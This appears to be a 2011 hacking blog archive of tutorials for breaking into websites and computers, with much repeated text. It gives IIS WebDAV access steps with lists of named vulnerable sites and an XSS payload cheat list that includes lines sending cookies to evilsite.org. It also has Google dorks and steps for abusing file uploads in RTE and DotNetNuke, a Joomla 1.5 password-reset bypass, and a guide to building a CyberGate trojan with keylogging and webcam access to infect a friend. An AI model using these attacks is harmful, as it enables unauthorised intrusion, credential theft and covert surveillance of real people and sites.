Wednesday 30 November 2011
Friday 25 November 2011
How to Hack webisites using IIS Exploit !!!
Hello friends today i am posting very easy technique of web hacking using IIS Exploit.
1) Go to Start ==> My Network Places ==> Add a Network Place
2) Click om Next ==> Choose Another network Location.
3) Click on Next ==> Now type the Vulnerable Website address.
After that Click on next.
Click Next ==> Finish..
After that you can see it from My Network Places..
After that you can see it from My Network Places..
Here are some IIS Vulnerable Website..
http://disk.hzyhzhx.com
http://disk.hzyhzhx.com/
http://ayatolahkhamenae.parniansis.com/
http://bahadori1.parniansis.com/
http://beheshti.parniansis.com/
http://beheshti1.parniansis.com/
http://bentolhoda1.parniansis.com/
http://bitaraf.parniansis.com/
http://derakhshan.parniansis.com/
http://derakhshan1.parniansis.com/
http://derakhshan2.parniansis.com/
http://derakhshan3.parniansis.com/
http://ebnesina.parniansis.com/
http://emamali.parniansis.com/
http://emkhaleghiyeyzd.parniansis.com/
Thursday 24 November 2011
How to Hack webisites using IIS Exploit !!!
Hello friends today i am posting very easy technique of web hacking using IIS Exploit.
1) Go to Start ==> My Network Places ==> Add a Network Place
2) Click om Next ==> Choose Another network Location.
3) Click on Next ==> Now type the Vulnerable Website address.
After that Click on next.
Click Next ==> Finish.
After that you can see it in your my Network places... :-)
Here are Some IIS Vulnerable Website..
1) Go to Start ==> My Network Places ==> Add a Network Place
2) Click om Next ==> Choose Another network Location.
After that Click on next.
After that you can see it in your my Network places... :-)
Here are Some IIS Vulnerable Website..
XSS CHEAT LIST !!!!
- <IMG SRC=javascript:alert( String.fromCharCode(88,83,83))>
- <script src=http://yoursite.com/your_files.js></script>
- </title><script>alert(/xss/)</script>
- </textarea><script>alert(/xss/)</script>
- <IMG LOWSRC=\"javascript:alert('XSS')\">
- <IMG DYNSRC=\"javascript:alert('XSS')\">
- <font style='color:expression(alert(document.cookie))'>
- <img src="javascript:alert('XSS')">
- <script language="JavaScript">alert('XSS')</script>
- [url=javascript:alert('XSS');]click me[/url]
- <body onunload="javascript:alert('XSS');">
- <script>alert(1);</script>
- <script>alert('XSS');</script>
- <script src="http://www.evilsite.org/cookiegrabber.php"></script>
- <script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+escape(document.cookie)</script>
- <scr<script>ipt>alert('XSS');</scr</script>ipt>
- <script>alert(String.fromCharCode(88,83,83))</script>
- <img src=foo.png onerror=alert(/xssed/) />
- <style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>
- <? echo('<scr)'; echo('ipt>alert(\"XSS\")</script>'); ?>
- <marquee><script>alert('XSS')</script></marquee>
- <IMG SRC=\"jav	ascript:alert('XSS');\">
- <IMG SRC=\"jav
ascript:alert('XSS');\">
- <IMG SRC=\"jav
ascript:alert('XSS');\
- <body onLoad="alert('XSS');"
- [color=red' onmouseover="alert('xss')"]mouse over[/color]
- "/></a></><img src=1.gif onerror=alert(1)>
- window.alert("Bonjour !");
- <div style="x:expression((window.r==1)?'':eval('r=1;
- alert(String.fromCharCode(88,83,83));'))">
- <iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>
- "><script alert(String.fromCharCode(88,83,83))</script>
- '>><marquee><h1>XSS</h1></marquee>
- '">><script>alert('XSS')</script>
- '">><marquee><h1>XSS</h1></marquee>
- <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">
- <META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">
- <script>var var = 1; alert(var)</script>
- <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
- <?='<SCRIPT>alert("XSS")</SCRIPT>'?>
- <IMG SRC='vbscript:msgbox(\"XSS\")'>
- " onfocus=alert(document.domain) "> <"
- <FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>
- <STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS
- perl -e 'print \"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>\";' > out
- perl -e 'print \"<IMG SRC=java\0script:alert(\"XSS\")>\";' > out
- <br size=\"&{alert('XSS')}\">
- <scrscriptipt>alert(1)</scrscriptipt>
- </br style=a:expression(alert())>
- </script><script>alert(1)</script>
- <SCRIPT>document.write("XSS");</SCRIPT>
- a="get";b="URL";c="javascript:";d="alert('xss');";eval(a+b+c+d);
- ='><script>alert("xss")</script>
- <script+src=">"+src="http://yoursite.com/xss.js?69,69"></script>
- <body background=javascript:'"><script>alert(navigator.userAgent)</script>></body>
- ">/XaDoS/><script>alert(document.cookie)</script>
- <script> src="http://www.site.com/XSS.js"></script>
- ">/KinG-InFeT.NeT/><script>alert(document.cookie)</script>
- src="http://www.site.com/XSS.js"></script>
- "><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
- [color=red width=expression(alert(123))][color]
- <BASE HREF="javascript:alert('XSS');//">
- Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
- "></iframe><script>alert(123)</script>
- <body onLoad="while(true) alert('XSS');">
- '"></title><script>alert(1111)</script>
- </textarea>'"><script>alert(document.cookie)</script>
- '""><script language="JavaScript"> alert('X \nS \nS');</script>
- </script></script><<<<script><>>>><<<script>alert(123)</script>
- <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
- '></select><script>alert(123)</script>
- '>"><script src = 'http://www.site.com/XSS.js'></script>
- }</style><script>a=eval;b=alert;a(b(/XSS/.source));</script>
- <html><noalert><noscript>(123)</noscript><script>(123)</script>
Friday 11 November 2011
HACK WebSites using RTE Web Vulnerability !!!!!
Hello Friends ,
Here i am posting another method to hack a website using RTE Vulnerability :-)
Here i am posting another method to hack a website using RTE Vulnerability :-)
Dork: " inurl:RTE_popup_file_atch.asp"
Copy the Dork in the Google and you will get a link .
Eg: http://www.site.com/RTE_popup_file_atch.asp
Eg: http://www.site.com/RTE_popup_file_atch.asp
After that Click on Choose File ==> Upload.
Once your have uploaded your File you can see the File URL in the Right Hand Side ...Just copy the URL and paste it after website name...
Once your have uploaded your File you can see the File URL in the Right Hand Side ...Just copy the URL and paste it after website name...
http://capcomputers.be/
http://capcomputers.be/RTE_popup_file_atch.asp
Enjoy ;-)
Chat with Friends through Command Prompt !!!!
All you need is your friend's IP Address and your Command Prompt.
Open Notepad and write this code as it is.....!
@echo off
:A
Cls
echo MESSENGER
set /p n=User:
set /p m=Message:
net send %n% %m%
Pause
Goto A
Open Notepad and write this code as it is.....!
@echo off
:A
Cls
echo MESSENGER
set /p n=User:
set /p m=Message:
net send %n% %m%
Pause
Goto A
- Now save this as "Messenger.Bat".
- Open Command Prompt.
- Drag this file (.bat file) over to Command Prompt and press Enter.
- Now, type the IP Address of the computer you want to contact and press enter
- Now all you need to do is type your message and press Enter.
Start Chatting.......:-)
Create Your Own Fake Warning Message Screen !!!!
Hello friends...
Making your own fake warning message screen... Now its very easy...
1. open notepad...
2.Just copy & paste it:
lol=msgbox("Warning computer has been infected by a virus ",20,"Virus Alert")..
3. save it as a extension .vbs
Your fake warning message box ready to use..
Try it & Enjoy...
U can change your message by editing "computer has been infected by a virus" & replace it with ur message which u want to show...
Making your own fake warning message screen... Now its very easy...
1. open notepad...
2.Just copy & paste it:
lol=msgbox("Warning computer has been infected by a virus ",20,"Virus Alert")..
3. save it as a extension .vbs
Your fake warning message box ready to use..
Try it & Enjoy...
U can change your message by editing "computer has been infected by a virus" & replace it with ur message which u want to show...
Thursday 10 November 2011
Hidden Facebook Smileys Emotions codes... Only 4 my Loving Frndzz...
Hidden Smileys and Emoticons:
Really happy emote: :D or :-D
Wink emote: ;) or ;-)
Happy eyes: ^_^
Laughing eyes: >:o
Cat smile: :3
Grumpy: >:-(
Sad: :( or :-(
Crying emoticon: :’(
Shocked emoticon: :o or :-o
Glasses emoticon: 8) or 8-)
Cool shades: 8-|
Rude: :p or :-p
WHAT?!: O.o
Dork emote: -_-
Duhhh emote: :/ or :\
Devil emote: 3:)
Angel emote: O:)
Kiss emote: :-* or :*
Love emote: <3
Pacman: :v
Robot: :|]
Putnam’s face: :putnam:
Penguin
<(")
Wink emote: ;) or ;-)
Happy eyes: ^_^
Laughing eyes: >:o
Cat smile: :3
Grumpy: >:-(
Sad: :( or :-(
Crying emoticon: :’(
Shocked emoticon: :o or :-o
Glasses emoticon: 8) or 8-)
Cool shades: 8-|
Rude: :p or :-p
WHAT?!: O.o
Dork emote: -_-
Duhhh emote: :/ or :\
Devil emote: 3:)
Angel emote: O:)
Kiss emote: :-* or :*
Love emote: <3
Pacman: :v
Robot: :|]
Putnam’s face: :putnam:
Penguin
<(")
Sunday 6 November 2011
How to Hack Joomla Using Token ByPass. !!!!
Today I will Show you how to Bypass Joomla token and find user name.
The vulnerability is reported in all 1.5.x versions prior to 1.5.6.
Dork:index.php?option=com_user&view=reset&layout=confirm
Copy and paste this Dork in google and you will get the result.
For Eg:http://site.com/index.php?option=com_user&view=reset&layout=confirm
For Eg:http://site.com/index.php?option=com_user&view=reset&layout=confirm
After getting this kind of page just put Qoute ( ' ) in the Submit button and then click on Submit.
After that you will get the option to reset the Password. :-)
Once you have reset the Passsword it will show you the login page .
Now you have to find the Username . :-)
Now go to the URL and paste this dork
index.php?option=com_fireboard&Itemid=71&func=userlist
Eg: http://site.com/index.php?option=com_fireboard&Itemid=71&func=userlist
Here you will get the Username for login. :-)
Now you have get the Username and password for the login..Try It . :)
Yeppee...You have access the Administrator Panel..
Note:Special thanks to Shriniwas.!!!
Saturday 5 November 2011
How to Hack your friends computer using Cybergate !!!
1) Download the Software Cybergate .
Click on Create Server and Save you File ..
Note: You will maintain the Access till you have the same IP assign to your Computer..
2)Install Cybergate.
3)After Installation it will ask you for the Password.
Default Password: cybergate
4)Once you have put the password, Click on Login.
You will get the message
CyberGate Station is now unlocked and fully functional.
5)After that Click on control Center ==>Start
It will Ask you for the Port Number. You can assign any Port number from 0 to 65535.But remember don't assign well known Ports like 80,21 etc..
6) Once You have Assign the Port Number ,Go to Control Center ==>Builder==>Create Server
After that Add the New User==>>Ok==>>Then Double Click on the User you have Add
7)Now Click on Add.
After that you will need to add your IP Addresswith the Port number you have add before.
Eg: 192.168.1.1:999
To get You IP address go to Run==>cmd==>>ipconfig
To get You IP address go to Run==>cmd==>>ipconfig
8)Once you have Added the IP address and Port number go to Installation Tab .
Here you will get Different Option.
=>Installation Directory :
Now Select any one option. where you want to infect your trojan in your Friends computer .
=>Boot:
Now Select any one option. where you want to infect your trojan in your Friends computer .
=>Boot:
Select Registry option also .
Always Select the Random keys for Active Setup and Mutex.
=> Inject Into:
=> Inject Into:
Mostly Select the Default Browser.
9)Now go to Message Tab:
9)Now go to Message Tab:
You can display any message on your Friends computer , when he opens your File..
10)Now go to Keylogger Tab:
It will give you all the Keystrokes of your Friends computer.
11)Now Directly Create Server:
After that just give this file to your Friend and when he click on that File you will get the access of his system.
You can download his files at your End.If the Person is having the Webcam you can access it..That's you are Having the Total Control of his System..Note: You will maintain the Access till you have the same IP assign to your Computer..
Wednesday 2 November 2011
DotNetNuke Remote File upload Vulnerability :-)
DotNetNuke - DNN Remote File Upload ;)
Dork : inurl:/tabid/36/language/en-US/Default.aspx
Copy this dork in google.
You will get website like
You will get website like
http ://site.com/tabid/36/language/en-US/Default.aspx
After that just replace the line with
/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
For eg: http ://site.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
After getting this types of link .Just copy this in your URL.
javascript:__doPostBack('ctlURL$cmdUpload','')
When you copy this Script in URL you will get browse option.
You can access your file from
http://site.com/portals/0/your filename
Subscribe to:
Posts (Atom)